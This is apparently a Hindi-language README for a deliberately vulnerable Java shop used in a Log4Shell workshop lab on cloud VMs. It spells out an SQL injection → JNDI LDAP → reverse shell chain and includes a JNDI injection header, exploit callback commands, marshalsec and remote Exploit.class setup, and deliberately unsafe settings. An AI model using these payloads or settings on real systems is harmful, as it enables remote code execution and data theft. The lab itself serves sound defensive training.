
जानबूझकर कमजोर VM-hosted Java shop — Log4Shell (CVE-2021-44228) workshop lab (EC2 / Azure VM / GCE)
जानबूझकर असुरक्षित क्लासिक / पारंपरिक सुरक्षा कार्यशालाओं के लिए दुकान — Java एक VM (EC2, Azure VM, या GCP Compute Engine) पर, कंटेनरों में नहीं।
मुख्य कहानी: क्रिटिकल VM समझौता — SQL इंजेक्शन → Log4Shell (CVE-2021-44228) → बाहरी C2 के लिए रिवर्स शेल।
[!CAUTION] उत्पादन खातों में तैनात न करें। VMs को अस्थायी और नेटवर्क-स्कोप्ड अपनी प्रयोगशाला तक रखें।
Jay's Surf Shop क्लाउड-नेटिव रनटाइम (ECS / ACA / GKE) को कवर करता है। TraditionalJay होस्ट / VM लेन को कवर करता है:
| Surf Shop | TraditionalJay | |
|---|---|---|
| कम्प्यूट | कंटेनर / सर्वरलेस | एकल Linux VM |
| स्टैक | Next.js + Python | Spring Boot + Log4j2 |
| हेडलाइन CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Java 11+ और Maven आवश्यक है।
/search पर स्ट्रिंग-कॉन्कैट SQLite एक secrets तालिका डंप करता है।2.14.1 JNDI LDAP लुकअप आपके लिसनर पर।bash /dev/tcp डायल।# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
केवल जांच (LDAP डायल-आउट साबित करता है):
python3 tools/ldap-listen.py --port 1389
पूर्ण RCE (marshalsec LDAP + दूरस्थ Exploit.class; VM जानबूझकर trustURLCodebase=true के साथ चलता है):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
फिर /security खोलें, LDAP कॉलबैक YOUR_PUBLIC_IP:1389 पर सेट करें, Run Log4Shell पर क्लिक करें। सफलता पर VM को /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt, और होस्ट-सेंसर डेमो के लिए लगभग 45 सेकंड का इंटरैक्टिव bash (जब उपलब्ध हो तो script के माध्यम से PTY) मिलता है।
आप खोज को एक निर्मित User-Agent से भी हिट कर सकते हैं:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Upwind क्रेडेंशियल्स को स्थानीय terraform.tfvars (gitignored) के माध्यम से पास करें। क्लाउड-इनिट उन्हें निर्यात करता है और scripts/install-vm.sh scripts/install-upwind-sensor.sh चलाता है।
मेमोरी: scanner-v2=true को इंस्टॉल के समय लगभग 7 GiB खाली RAM (डिस्क नहीं) चाहिए। डिफ़ॉल्ट AWS Terraform t3.large (8 GiB) + 40 GiB gp3 रूट का उपयोग करता है ताकि स्कैनर छूट न जाए (Skipping scanner installation, requires 7000000 kB छोटे इंस्टेंस पर)।
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWS उदाहरण infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
यदि क्रेडेंशियल खाली हैं, तो ऐप अभी भी इंस्टॉल होता है और सेंसर चरण छोड़ दिया जाता है।
GitHub Actions वर्कफ़्लो .github/workflows/build.yml:
v* → फैट JAR के साथ GitHub ReleaseVMs scripts/install-vm.sh के माध्यम से नवीनतम Release JAR पसंद करते हैं, और यदि अभी तक कोई रिलीज़ मौजूद नहीं है तो ऑन-बॉक्स Maven बिल्ड पर वापस आ जाते हैं। इंस्टॉलर तब /opt/traditionaljay/BOOT-INF/lib/ के अंतर्गत फैट JAR को विस्फोट करता है और JarLauncher चलाता है, ताकि होस्ट/एजेंटलेस SCA डिस्क पर log4j-core-2.14.1.jar देख सके (केवल java -jar app.jar चलाने से Log4j एक ज़िप के अंदर घोंसला बनाता है और अक्सर CVE-2021-44228 को पैकेज इन्वेंट्री से छुपाता है)।
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
प्रत्येक क्लाउड फ़ोल्डर स्वतंत्र Terraform है। पहला बूट scripts/install-vm.sh (OpenJDK 11 + Release JAR या Maven बिल्ड + systemd) चलाता है।
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
पहले बूट में कुछ मिनट लगते हैं जबकि Maven इंस्टेंस पर बिल्ड करता है। फिर http://PUBLIC_IP:8080/security खोलें।
app/ Spring Boot दुकान + /security Log4Shell UI
tools/ldap-listen.py केवल-बैनर LDAP लिसनर (डायल-आउट प्रमाण)
tools/run-log4shell-ldap.sh पूर्ण RCE LDAP + HTTP कोडबेस सर्वर
tools/exploit/Exploit.java marshalsec के लिए दूरस्थ क्लास पेलोड
scripts/install-vm.sh क्लाउड-इनिट / मैन्युअल VM इंस्टॉलर
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class का उपयोग करता है।-Dcom.sun.jndi.ldap.object.trustURLCodebase=true जानबूझकर है (Java 11+ पर डिफ़ॉल्ट रूप से अक्षम)।ldap-listen.py कोड निष्पादन के बिना LDAP डायल-आउट प्रमाण के लिए बना रहता है।0.0.0.0/0 की अनुमति देते हैं — साझा प्रयोगशालाओं के लिए *_ingress_cidr / स्रोत श्रेणियों को कसें।